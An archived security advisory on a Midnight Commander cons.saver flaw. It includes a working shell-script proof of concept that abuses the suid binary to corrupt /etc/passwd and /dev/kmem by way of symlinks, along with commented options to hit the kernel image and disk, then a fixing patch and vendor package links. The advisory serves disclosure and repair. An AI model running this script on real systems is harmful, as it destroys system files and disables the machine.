Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Linux :: Apps A-M :: consaver.htm

Midnight Commander cons.saver exploit



Vulnerability

    cons.saver

Affected

    cons.saver

Description

    Maurycy Prodeus  found following.   Many systems  have a  suid  on
    cons.saver which is part of midnight commander package.   Standard
    location of this binary  is /usr/lib/mc/bin/cons.saver.  There  is
    a bug, which  allows luser to  write '\0' char  to any symlinkable
    file in  system.   So it  can be  very destructive,  Maurycy wrote
    simple example of DoS.

    Technical details  ... it  isn't common  bug.   Cons.saver doesn't
    check  if  stdout  is  opened.   Next,  it  checks if argv[1] is a
    terminal file.   First, file is  opened with O_RDWR  flag and then
    it checks if this file  is character device.  When  error occures,
    cons.saver  doesn't  close  this  file.   Later, NULL character is
    written to 1 fd. (our 'fake' stdout)

    Proof of concept:

    #!/bin/sh
    # *---------------------------------------------------------*
    # Slaughterhouse ver. 1.0 by z33d@eth-security.net (C) 2000 |
    # Bloody, Midnight DoS ;> with suid cons.saver
    # Dedicated to my lovely mother.
    # : Greetz
    # * (...) Oczy niebieskie (...)
    # - y3t1 - twe zyczenie jest dla mnie rozkazem :)
    # - wroclaw's killers <=> dyziu, decker, kanedaa, korie, viedzmin (...)
    # - argante development team (lcamtuf,bulba,artur,marcin,bikappa,honey ...)
    # - #sigsegv (funkysh, y3t1, cliph, detergent, kris, venglin ...)
    # - sister of night
    # - other ppl like mareczek, grubszy, karol, adam, wojtas, siebylnikov,
    #   slodka Asia (...)                                       |
    # *---------------------------------------------------------*

    if [ -u /usr/lib/mc/bin/cons.saver ]; then
      echo "Zdarza sie."
    else
      echo "Swoja matke przepros ..."
      exit 0
    fi
    cat >/tmp/rzeznia.c <<_eof_
    #include <stdio.h>
    #include <unistd.h>
    main(){ close(0); close(1);
    execl("/usr/lib/mc/bin/cons.saver","cons.saver","/tmp/tty13",NULL);
    printf("To jakies fatalne nieporozumienie...\n");}
    _eof_

    gcc /tmp/rzeznia.c -o /tmp/rzeznia
    rm -f /tmp/rzeznia.c

    if [ -x /tmp/rzeznia ]; then
      echo "On naostrzyl juz noz ... mial rowek i trojkatny ksztalt"
    else
      echo "ZZZZZZz Zyz yzyzyyzyzyzyzyyy y y . . ."
      exit 0
    fi

    ln -s /etc/passwd /tmp/tty13
    /tmp/rzeznia
    rm -f /tmp/tty13
    ln -s /dev/kmem /tmp/tty13
    /tmp/rzeznia
    rm -f /tmp/tty13
    # Uzyj w razie potrzeby ;>
    # ln -s /boot/vmlinuz /tmp/tty13
    # /tmp/rzeznia
    # rm -f /tmp/tty13
    # ln -s /dev/hda /tmp/tty13
    # /tmp/rzeznia
    echo "... "
    echo "    he passed away"
    rm -f /tmp/rzeznia

Solution

    z33d wrote temporary patch,  but Solar's OpenWall Patch  should be
    enough:

    --- mc-4.5.42/src/cons.saver.c	Mon Dec  6 18:50:02 1999
    +++ mc-4.5.42/src/cons.saver.c.z33d	Sun Nov 12 17:20:48 2000
    @@ -116,12 +116,15 @@
         if (fd == -1)
 	    return -1;

    -    if (fstat (fd, &stat_buf) == -1)
    +    if (fstat (fd, &stat_buf) == -1){
    +	close(fd);
 	    return -1;
    +    }

         /* Must be character device */
         if (!S_ISCHR (stat_buf.st_mode)){
 	    *msg = "Not a character device";
    +	close(fd);
 	    return -1;
         }

    @@ -132,17 +135,20 @@
 	    /* Second time: must be console */
 	    if ((stat_buf.st_rdev & 0xff00) != 0x0400){
 	        *msg = "Not a console";
    +	    close(fd);
 	        return -1;
 	    }

 	    if ((stat_buf.st_rdev & 0x00ff) > 63){
 	        *msg = "Minor device number too big";
    +	    close(fd);
 	        return -1;
 	    }

 	    /* Must be owned by the user */
 	    if (stat_buf.st_uid != getuid ()){
 	        *msg = "Not a owner";
    +	    close(fd);
 	        return -1;
 	    }
         }

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/mc_4.5.42-11.potato.5.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/mc_4.5.42-11.potato.5.dsc
        http://security.debian.org/dists/stable/updates/main/source/mc_4.5.42.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/gmc_4.5.42-11.potato.5_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/mc-common_4.5.42-11.potato.5_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/mc_4.5.42-11.potato.5_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/gmc_4.5.42-11.potato.5_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/mc-common_4.5.42-11.potato.5_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/mc_4.5.42-11.potato.5_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/gmc_4.5.42-11.potato.5_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/mc-common_4.5.42-11.potato.5_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/mc_4.5.42-11.potato.5_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/gmc_4.5.42-11.potato.5_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/mc-common_4.5.42-11.potato.5_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/mc_4.5.42-11.potato.5_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/gmc_4.5.42-11.potato.5_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/mc-common_4.5.42-11.potato.5_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/mc_4.5.42-11.potato.5_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/gmc_4.5.42-11.potato.5_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/mc-common_4.5.42-11.potato.5_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/mc_4.5.42-11.potato.5_sparc.deb

    For Linux-Mandrake:

        Linux-Mandrake 6.0: 6.0/RPMS/gmc-4.5.31-14.1mdk.i586.rpm
                            6.0/RPMS/mc-4.5.31-14.1mdk.i586.rpm
                            6.0/RPMS/mcserv-4.5.31-14.1mdk.i586.rpm
                            6.0/SRPMS/mc-4.5.31-14.1mdk.src.rpm
        Linux-Mandrake 6.1: 6.1/RPMS/gmc-4.5.38-4.1mdk.i586.rpm
                            6.1/RPMS/mc-4.5.38-4.1mdk.i586.rpm
                            6.1/RPMS/mcserv-4.5.38-4.1mdk.i586.rpm
                            6.1/SRPMS/mc-4.5.38-4.1mdk.src.rpm
        Linux-Mandrake 7.0: 7.0/RPMS/gmc-4.5.42-4.1mdk.i586.rpm
                            7.0/RPMS/mc-4.5.42-4.1mdk.i586.rpm
                            7.0/RPMS/mcserv-4.5.42-4.1mdk.i586.rpm
                            7.0/SRPMS/mc-4.5.42-4.1mdk.src.rpm
        Linux-Mandrake 7.1: 7.1/RPMS/gmc-4.5.46-1.1mdk.i586.rpm
                            7.1/RPMS/mc-4.5.46-1.1mdk.i586.rpm
                            7.1/RPMS/mcserv-4.5.46-1.1mdk.i586.rpm
                            7.1/SRPMS/mc-4.5.46-1.1mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/gmc-4.5.51-7.1mdk.i586.rpm
                            7.2/RPMS/mc-4.5.51-7.1mdk.i586.rpm
                            7.2/RPMS/mcserv-4.5.51-7.1mdk.i586.rpm
                            7.2/SRPMS/mc-4.5.51-7.1mdk.src.rpm


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH